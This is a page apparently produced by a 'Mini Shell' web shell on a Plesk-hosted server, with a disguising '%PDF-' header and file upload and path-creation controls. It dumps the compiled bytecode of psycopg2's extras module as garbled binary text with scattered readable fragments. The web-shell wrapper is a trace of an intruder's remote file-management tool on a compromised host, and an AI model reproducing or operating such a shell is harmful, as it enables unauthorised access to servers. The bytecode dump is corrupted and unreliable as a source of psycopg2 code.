%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyo

�
�ac@s�ddlZddlZddlZddlmZmZddl	Z
ddlZddlmZ
ddlmZddlmZddlmZmZddlmZmZmZdd	lmZmZmZmZm Z dd
l!m"Z"m#Z#m$Z$m%Z%m&Z&ddl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/ddl0m1Z1d
efd��YZ2defd��YZ3de2fd��YZ4de5fd��YZ6defd��YZ7de2fd��YZ8defd��YZ9defd��YZ:defd��YZ;ed�d ��Z<e=e<�e;_<d!efd"��YZ>d#efd$��YZ?d%e>fd&��YZ@d'e?fd(��YZAd)efd*��YZBd+efd,��YZCd-eDfd.��YZEd/efd0��YZd1eFfd2��YZGddd3�ZId4eFfd5��YZJddd6�ZKd7�ZLd8�ZMd9eFfd:��YZNeOeOddd;�ZPd<eFfd=��YZQeOdd>�ZRd?�ZSd@dA�ZTdd@eOdB�ZUdC�ZVdS(Di����N(t
namedtupletOrderedDict(t
extensionsi(tcursor(t
connection(tadapttquote_ident(tPY2tPY3t	lru_cache(tREPLICATION_PHYSICALtREPLICATION_LOGICALtReplicationConnectiontReplicationCursortReplicationMessage(tjsontJsont
register_jsontregister_default_jsontregister_default_jsonb(tRangetNumericRanget	DateRanget
DateTimeRangetDateTimeTZRangetregister_rangetRangeAdaptertRangeCaster(tregister_ipaddresstDictCursorBasecBs8eZd�Zd�Zdd�Zd�Zd�ZRS(cOsdd|kr |d}|d=ntd��tt|�j||�t|_t|_||_dS(Ntrow_factorys;DictCursorBase can't be instantiated without a row factory.(tNotImplementedErrortsuperRt__init__tFalset_query_executedt	_prefetchR(tselftargstkwargsR((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!Cs

			cCs\|jr!tt|�j�}n|jr7|j�n|jsXtt|�j�}n|S(N(R$R RtfetchoneR#t_build_index(R%tres((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR(Os		
	cCsb|jr$tt|�j|�}n|jr:|j�n|js^tt|�j|�}n|S(N(R$R Rt	fetchmanyR#R)(R%tsizeR*((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR+Xs		
	cCs\|jr!tt|�j�}n|jr7|j�n|jsXtt|�j�}n|S(N(R$R RtfetchallR#R)(R%R*((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR-as		
	ccs�y�|jr0tt|�j�}t|�}n|jrF|j�n|jsstt|�j�}t|�}n|Vxtr�t|�Vq{WWntk
r�dSXdS(N(	R$R Rt__iter__tnextR#R)tTruet
StopIteration(R%R*tfirst((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR.js		
		
N(t__name__t
__module__R!R(tNoneR+R-R.(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR@s
						tDictConnectioncBseZd�ZRS(cOs)|jdt�tt|�j||�S(Ntcursor_factory(t
setdefaultt
DictCursorR R6R(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR~s(R3R4R(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR6|sR9cBs2eZd�Zdd�Zdd�Zd�ZRS(cOs0t|d<tt|�j||�t|_dS(NR(tDictRowR R9R!R0R$(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�s
cCs.t�|_t|_tt|�j||�S(N(RtindexR0R#R R9texecute(R%tquerytvars((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR<�s	cCs.t�|_t|_tt|�j||�S(N(RR;R0R#R R9tcallproc(R%tprocnameR>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR?�s	cCsZ|jrV|jrVx5tt|j��D]}||j|j|d<q(Wt|_ndS(Ni(R#tdescriptiontrangetlenR;R"(R%ti((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR)�sN(R3R4R!R5R<R?R)(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR9�s	R:cBs�eZdZd�Zd�Zd�Zd�Zd�Zd�Zdd�Z
d�Zd	�Zd
�Z
d�Zer�eZeZeZeZd�Zd
�Zd�ZnRS(t_indexcCs'|j|_dgt|j�|(dS(N(R;RER5RCRA(R%R((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�scCs;t|ttf�s%|j|}ntt|�j|�S(N(t
isinstancetinttsliceRER R:t__getitem__(R%tx((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRI�scCsBt|ttf�s%|j|}ntt|�j||�dS(N(RFRGRHRER R:t__setitem__(R%RJtv((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRK�scs,tt��j���fd��jD�S(Nc3s(|]}|��j|�fVqdS(N(RE(t.0tn(tgR%(sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pys	<genexpr>�s(R R:RIRE(R%((ROR%sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytitems�scCs
t|j�S(N(titerRE(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytkeys�scs,tt��j���fd��jD�S(Nc3s"|]}��j|�VqdS(N(RE(RMRN(ROR%(sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pys	<genexpr>�s(R R:RIRE(R%((ROR%sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytvalues�scCs%y||SWntk
r |SXdS(N(t	Exception(R%RJtdefault((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytget�s
cCst|j��S(N(RRP(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytcopy�scCs
||jkS(N(RE(R%RJ((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt__contains__�scCs||jj�fS(N(RERW(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt__getstate__�scCs|d|(|d|_dS(Nii(RE(R%tdata((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt__setstate__�scCst|j��S(N(tlisttiterkeys(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRR�scCst|j��S(N(ttuplet
itervalues(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRS�scCst|j��S(N(R\t	iteritems(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRP�s(REN(R3R4t	__slots__R!RIRKRPRRRSR5RVRWRXRYR[RR]R_R`thas_key(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR:�s(												tRealDictConnectioncBseZd�ZRS(cOs)|jdt�tt|�j||�S(NR7(R8tRealDictCursorR RcR(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�s(R3R4R(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRc�sRdcBs2eZd�Zdd�Zdd�Zd�ZRS(cOs't|d<tt|�j||�dS(NR(tRealDictRowR RdR!(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�s
cCs+g|_t|_tt|�j||�S(N(tcolumn_mappingR0R#R RdR<(R%R=R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR<�s		cCs+g|_t|_tt|�j||�S(N(RfR0R#R RdR?(R%R@R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR?�s		cCsE|jrA|jrAg|jD]}|d^q|_t|_ndS(Ni(R#RARfR"(R%td((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR)�s#N(R3R4R!R5R<R?R)(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRd�s	RecBseZd�Zd�ZRS(cOs�|r0t|dt�r0|d}|d}nd}tt|�j||�|dk	r�|jr{|jr{|j�n|j|t<ndS(Nii(	RFt_cursorR5R ReR!RARfR)(R%R&R'R((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!s


cCstt|krW|t}tt|�j|||�|t|�dkrS|t=ndStt|�j||�dS(Ni(ReR RKRC(R%tkeytvaluetmapping((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRKs

(R3R4R!RK(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRes	tNamedTupleConnectioncBseZd�ZRS(cOs)|jdt�tt|�j||�S(NR7(R8tNamedTupleCursorR RlR(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR%s(R3R4R(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRl#sRmcBs�eZd
ZdZd
d�Zd�Zd
d�Zd�Zd
d�Z	d�Z
d�Zej
dejd	�d
�Zd�Zed��ZRS(icCs"d|_tt|�j||�S(N(R5tRecordR RmR<(R%R=R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR<=s	cCs"d|_tt|�j||�S(N(R5RnR Rmtexecutemany(R%R=R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRoAs	cCs"d|_tt|�j||�S(N(R5RnR RmR?(R%R@R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR?Es	cCs]tt|�j�}|dk	rY|j}|dkrL|j�}|_n|j|�SdS(N(R RmR(R5Rnt_make_ntt_make(R%tttnt((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR(Is	cCsYtt|�j|�}|j}|dkrC|j�}|_ntt|j|��S(N(	R RmR+RnR5RpR\tmapRq(R%R,ttsRs((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR+Qs
	cCsVtt|�j�}|j}|dkr@|j�}|_ntt|j|��S(N(	R RmR-RnR5RpR\RtRq(R%RuRs((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR-Xs
	ccs�ytt|�j�}t|�}|j}|dkrO|j�}|_n|j|�Vxtr}|jt|��Vq`WWnt	k
r�dSXdS(N(
R RmR.R/RnR5RpRqR0R1(R%titRrRs((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR._s		
t[s  !"#$%&'()*+,-./:;<=>?@[\]^`{|}~t]cCs5|jr"td�|jD��nd}|j|�S(Ncss|]}|dVqdS(iN((RMRg((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pys	<genexpr>ts((RAR^t_cached_make_nt(R%Ri((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRpss(cCs�g}xm|D]e}|jjd|�}|ddksXd|dkoSdknred|}n|j|�q
Wtd|�}|S(Nt_it0t9tfRn(t	_re_cleantsubtappendR(tclsRitfieldstsRs((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt_do_make_ntws
0
N(R3R4R5Rnt	MAX_CACHER<RoR?R(R+R-R.t_retcompiletescapeR~RptclassmethodR�(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRm*s					icCs
|j|�S(N(R�(R�Ri((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRy�stLoggingConnectioncBs>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cCs@||_tr0t|tj�r0|j|_n|j|_dS(N(t_logobjt_loggingRFtLoggert_logtologgertlogt
_logtofile(R%tlogobj((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt
initialize�s	cCs|S(N((R%tmsgtcurs((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytfilter�scCsj|j||�}|rftrLt|t�rL|jtj|jd�}n|jj	|t
j�ndS(Ntreplace(R�RRFtbytestdecodet_extt	encodingstencodingR�twritet_ostlinesep(R%R�R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��s
cCs/|j||�}|r+|jj|�ndS(N(R�R�tdebug(R%R�R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��scCs%t|d�s!|jd��ndS(NR�s3LoggingConnection object has not been initialize()d(thasattrtProgrammingError(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt_check�scOs3|j�|jdt�tt|�j||�S(NR7(R�R8t
LoggingCursorR R�R(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�s
(R3R4R�R�R�R�R�R(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��s						R�cBs eZdd�Zdd�ZRS(cCs;ztt|�j||�SWd|jj|j|�XdS(N(R R�R<RR�R=(R%R=R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR<�scCs;ztt|�j||�SWd|jj|j|�XdS(N(R R�R?RR�R=(R%R@R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR?�sN(R3R4R5R<R?(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��stMinTimeLoggingConnectioncBs&eZdd�Zd�Zd�ZRS(icCstj||�||_dS(N(R�R�t_mintime(R%R�tmintime((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��scCsqtj�|jd}||jkrmtrZt|t�rZ|jtj	|j
d�}n|tjd|SdS(Ni�R�s  (execution time: %d ms)(
t_timettimet	timestampR�RRFR�R�R�R�R�R�R�(R%R�R�Rr((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��s
cOs#|jdt�tj|||�S(NR7(R8tMinTimeLoggingCursorR�R(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�s(R3R4R�R�R(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��s	R�cBs eZdd�Zdd�ZRS(cCs"tj�|_tj|||�S(N(R�R�R�R�R<(R%R=R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR<�scCs"tj�|_tj|||�S(N(R�R�R�R�R?(R%R@R>((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR?�sN(R3R4R5R<R?(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��stLogicalReplicationConnectioncBseZd�ZRS(cOs't|d<tt|�j||�dS(Ntreplication_type(RR R�R!(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�s
(R3R4R!(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��stPhysicalReplicationConnectioncBseZd�ZRS(cOs't|d<tt|�j||�dS(NR�(R
R R�R!(R%R&R'((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!s
(R3R4R!(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��stStopReplicationcBseZRS((R3R4(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�s	R
cBsGeZddd�Zd�Zdddddedd�Zd�ZRS(cCs�dt||�}|dkr.|jj}n|tkrr|dkrXtjd��n|dt||�7}nP|tkr�|dk	r�tjd��n|d7}ntjdt|���|j	|�dS(NsCREATE_REPLICATION_SLOT %s sAoutput plugin name is required to create logical replication slots
LOGICAL %ssIcannot specify output plugin name when creating physical replication slottPHYSICALs!unrecognized replication type: %s(
RR5RR�Rtpsycopg2R�R
treprR<(R%t	slot_namet	slot_typet
output_plugintcommand((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytcreate_replication_slots 
cCs$dt||�}|j|�dS(NsDROP_REPLICATION_SLOT %s(RR<(R%R�R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytdrop_replication_slot3sii
cCsd}|dkr!|jj}n|tkri|rM|dt||�7}ntjd��|d7}nH|tkr�|r�|dt||�7}q�ntjdt|���t	|�t
kr�|jd�}	dt|	dd	�t|	d
d	�f}	nd|d?d@|d@f}	||	7}|dkr`|tkrOtjd
��n|d|7}n|r�|tkr�tjd��n|d7}x_|j
�D]Q\}
}|jd�s�|d7}n|dt|
|�tt
|��f7}q�W|d7}n|j|d|d|�dS(NsSTART_REPLICATION sSLOT %s s-slot name is required for logical replicationsLOGICAL s!unrecognized replication type: %st/s%X/%08Xiiii I����s/cannot specify timeline for logical replications TIMELINE %ds=cannot specify output plugin options for physical replications (t(s, s%s %st)R�tstatus_interval(R5RR�RRR�R�R
R�ttypetstrtsplitRGRPtendswitht_Atstart_replication_expert(R%R�R�t	start_lsnttimelinetoptionsR�R�R�tlsntkRL((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytstart_replication9sJ	
-


-
cCs
|jj�S(N(Rtfileno(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�usN(R3R4R5R�R�R"R�R�(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR
s
		:tUUID_adaptercBs,eZd�Zd�Zd�Zd�ZRS(cCs
||_dS(N(t_uuid(R%tuuid((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�scCs|tjkr|SdS(N(R�t	ISQLQuote(R%tproto((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt__conform__�scCsd|jjd�S(Ns
'%s'::uuidtutf8(R�tencode(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt	getquoted�scCsd|jS(Ns
'%s'::uuid(R�(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt__str__�s(R3R4R!R�R�R�(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�{s			cs�ddl�|s!d}d}n0t|ttf�rE|\}}n|}d}tj|fd�fd��t_tj|fdtj�t_tj	tj|�tj	tj|�tj
�jt�tjS(Ni����i�i�tUUIDcs|r�j|�pdS(N(R�R5(RZR(R�(sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt<lambda>�tsUUID[](R�RFR\R^R�tnew_typeR�tnew_array_typet	UUIDARRAYt
register_typetregister_adapterR�(toidstconn_or_curstoid1toid2((R�sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt
register_uuid�s
	tInetcBs>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cCs
||_dS(N(taddr(R%R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�scCsd|jj|jfS(Ns%s(%r)(t	__class__R3R�(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt__repr__�scCs
||_dS(N(t_conn(R%tconn((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytprepare�scCs?t|j�}t|d�r1|j|j�n|j�dS(NR�s::inet(R�R�R�R�R�R�(R%tobj((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��scCs|tjkr|SdS(N(R�R�(R%R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��scCs
t|j�S(N(R�R�(R%((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��s(R3R4R!R�R�R�R�R�(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��s					cCs�ddl}|jdt�|s1d}d}n0t|ttf�rU|\}}n|}d}tj|fdd��t_tj	|fdtj�t_
tjtj|�tjtj
|�tjS(Ni����s4the inet adapter is deprecated, it's not very usefulieitINETcSs|rt|�pdS(N(R�R5(RZR((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR��R�t	INETARRAY(twarningstwarntDeprecationWarningRFR\R^R�R�R�R�R�R�(toidR�R�R�R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt
register_inet�s"		cCs�ddl}ddlm}m}m}x�tr�y�|j�}||krPPni||kr{|j|j�ggg�n>||kr�|jg|j�gg�n|jd|��Wq+t	k
r�|j
�q+q+Xq+WdS(Ni����(tPOLL_OKt	POLL_READt
POLL_WRITEsbad state from poll: %s(tselecttpsycopg2.extensionsR�R�R�R0tpollR�tOperationalErrortKeyboardInterrupttcancel(R�R�R�R�R�tstate((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytwait_select�s	

cCsm|dkrtjd��nt|d�rK|j}|jdt�}n|}|jdt�}||fS(Ns no connection or cursor providedR<R7(R5R�R�R�RRRh(R�R�R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt_solve_conn_curss	t
HstoreAdaptercBs�eZd�Zd�Zd�Zd�ZeZejdej	�Z
eejd�d��Zed��Z
ed��ZRS(	cCs
||_dS(N(twrapped(R%R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!scCs.||_|jjdkr*|j|_ndS(Ni�_(R�tinfotserver_versiont_getquoted_8R�(R%R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�"s	cCs�|js
dStj}g}x�|jj�D]�\}}||�}|j|j�|j�}|dk	r�||�}|j|j�|j�}nd}|jd|d|d�q,Wddj	|�dS(Ns
''::hstoretNULLR�s => R�s||(
R�R�RRPR�R�R�R5R�tjoin(R%RtrvR�RL((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�)s		!cCs�|js
dStjt|jj���}|j|j�tjt|jj���}|j|j�d|j�d|j�dS(Ns
''::hstoreshstore(s, R�(	R�R�RR\RRR�R�RSR�(R%R�RL((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt_getquoted_9As	sm
        # hstore key:
        # a string of normal or escaped chars
        "((?: [^"\\] | \\. )*)"
        \s*=>\s* # hstore value
        (?:
            NULL # the value can be null - not catched
            # or a quoted string like the key
            | "((?: [^"\\] | \\. )*)"
        )
        (?:\s*,\s*|$) # pairs separated by comma or end of string.
    s\\(.)c	Cs�|dkrdSi}d}x�|jj|�D]�}|dksS|j�|kritjd|��n|jd|jd��}|jd�}|dk	r�|jd|�}n|||<|j�}q/W|t	|�kr�tjd|��n|S(Nis$error parsing hstore pair at char %ds\1iis1error parsing hstore: unparsed data after char %d(
R5t
_re_hstoretfinditertstartR�tInterfaceErrorRtgrouptendRC(	R%R�tcurt_bsdecRRtmR�RL((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytparse[s$

cCs<|dkrdS|jtj|jj�}|j||�S(N(R5R�R�R�RR�R
(R%R�R
((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt
parse_unicode|sc	Cs�t|�\}}|j}|jjdkr3dp6d}gg}}|jd|�x0|D](}|j|d�|j|d�q^W|tjkr�|jr�|j	�nt
|�t
|�fS(Ni�9ttyparrayRslSELECT t.oid, %s
FROM pg_type t JOIN pg_namespace ns
    ON typnamespace = ns.oid
WHERE typname = 'hstore';
ii(R�tstatusR�R�R<R�R�tSTATUS_IN_TRANSACTIONt
autocommittrollbackR^(	R%R�R�R�tconn_statusRtrv0trv1R�((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytget_oids�s	



(R3R4R!R�R�RR�R�R�tVERBOSERR�R
RR(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR�s				 	c	Csg|dkr[tj|�}|dks2|drDtjd��q[|d}|d}nt|t�rv|f}n|dk	r�t|t�r�|f}q�tg|D]}|r�|^q��}ntr�|r�tj	}n	tj
}tj|d|�}tj
||r|pd�tjtt�|rctj|d|�}tj
||rY|p\d�ndS(Nis\hstore type not found in the database. please install it from your 'contrib/hstore.sql' fileitHSTOREtHSTOREARRAY(R5R�RR�R�RFRGR^RRR
R�R�R�R�tdictR�(	R�tgloballytunicodeR�t	array_oidRJtcastRR((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytregister_hstore�s,

(	tCompositeCastercBsteZddd�Zd�Zd�Zejdej�Z	ejd�Z
ed��Zd�Z
ed��ZRS(	cCs�||_||_||_||_g|D]}|d^q+|_g|D]}|d^qK|_|j||j�tj|f||j	�|_
|r�tj|fd||j
�|_n	d|_dS(Niis%sARRAY(tnametschemaR�Rtattnamestatttypest_create_typeR�R�R
t
typecasterR�tarray_typecasterR5(R%R"R�tattrsRR#ta((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�s				  cCs�|dkrdS|j|�}t|�t|j�krktjdt|j�|jt|�f��ngt|j|�D]\}}|j||�^q~}|j	|�S(Ns9expecting %d components for the type %s, %d found instead(
R5ttokenizeRCR%R�t	DataErrorR"tzipRtmake(R%R�R�ttokensR�ttokenRS((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR
s(4cCs
|j|�S(N(t_ctor(R%RS((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR.s
s�
  \(? ([,)])                        # an empty token, representing NULL
| \(? " ((?: [^"] | "")*) " [,)]    # or a quoted string
| \(? ([^",)]+) [,)]                # or an unquoted string
    s	(["\\])\1cCs�g}x�|jj|�D]�}|dkrAtjd|��n|jd�dk	rf|jd�q|jd�dk	r�|j|jjd|jd���q|j|jd��qW|S(Nscan't parse type: %riis\1i(	t_re_tokenizeRR5R�RRR�t_re_undoubleR(R%R�RR((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR+#s(cCs%t||�|_|jj|_dS(N(RR�RqR1(R%R"R$((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR&2scCs3t|�\}}|j}d|krB|jdd�\}}n|}d}|jjdkrfdpid}|jd|||f�|j�}	|tjkr�|j	r�|j
�n|	s�tjd|��n|	d	d	}
|	d	d}g|	D]}|d
|df^q�}
|||
|
d|d
|�S(Nt.itpublici�9RRs�SELECT t.oid, %s, attname, atttypid
FROM pg_type t
JOIN pg_namespace ns ON typnamespace = ns.oid
JOIN pg_attribute a ON attrelid = typrelid
WHERE typname = %%s AND nspname = %%s
    AND attnum > 0 AND NOT attisdropped
ORDER BY attnum;
sPostgreSQL type '%s' not foundiiiRR#(
R�RR�R�R�R<R-R�RRRR�R�(R%R"R�R�R�RR#ttnameRtrecsttype_oidRtrt
type_attrs((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt_from_db6s*	

'N(R3R4R5R!R
R.R�R�RR2R3R�R+R&R;(((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyR!�s				cCs}|dkrt}n|j||�}tj|j|r@|pCd�|jdk	rytj|j|ro|prd�n|S(N(R5R!R;R�R�R'R((R"R�Rtfactorytcaster((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytregister_compositeis	 ccsg}t|�}xftrzy9x't|�D]}|jt|��q+W|Vg}Wqtk
rv|rr|VndSXqWdS(N(RQR0RBR�R/R1(tseqt	page_sizetpageRvRD((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt	_paginate�s	

idcCs\xUt|d|�D]A}g|D]}|j||�^q }|jdj|��qWdS(NR@t;(RBtmogrifyR<R(R
tsqltargslistR@RAR&tsqls((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyt
execute_batch�s%c
CsUddlm}t||�r1|j|�}nt|t�s_|jtj|jj	�}nt
|�\}}|r}gnd}	x�t|d|�D]�}
|dkr�ddj
dgt|
d��d}n|}x4|
D],}|j|j||��|jd�q�W||d)|jd	j
|��|r�|	j|j��q�q�W|	S(
Ni����(t
ComposableR@R�t,s%siR�R�(tpsycopg2.sqlRIRFt	as_stringR�R�R�R�RR�t
_split_sqlR5RBRRCR�RDR<textendR-(
R
RERFttemplateR@tfetchRItpretposttresultRAtpartsR&((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pytexecute_values�s&<+

cCsg}}g}tjd|�}x�|D]�}t|�dksQ|d dkrd|j|�q)n|ddkr�||kr�|}q�td��q)|ddkr�|jd�q)td|djdd	���q)W||kr�td
��n||fS(Ns(%.)iit%R�s1the query contains more than one '%s' placeholders"unsupported format character: '%s'tasciiR�s.the query doesn't contain any '%s' placeholder(R�R�RCR�t
ValueErrorR�(REtcurrRQRRR/R0((sF/opt/plesk/python/2.7/lib64/python2.7/site-packages/psycopg2/extras.pyRMs&

"
	(WtosR�R�R�treR�tcollectionsRRtloggingR�R�RR�RRhRt_connectionRR�RtcompatRRR	tpsycopg2._psycopgR
RRt_replicationConnectionR
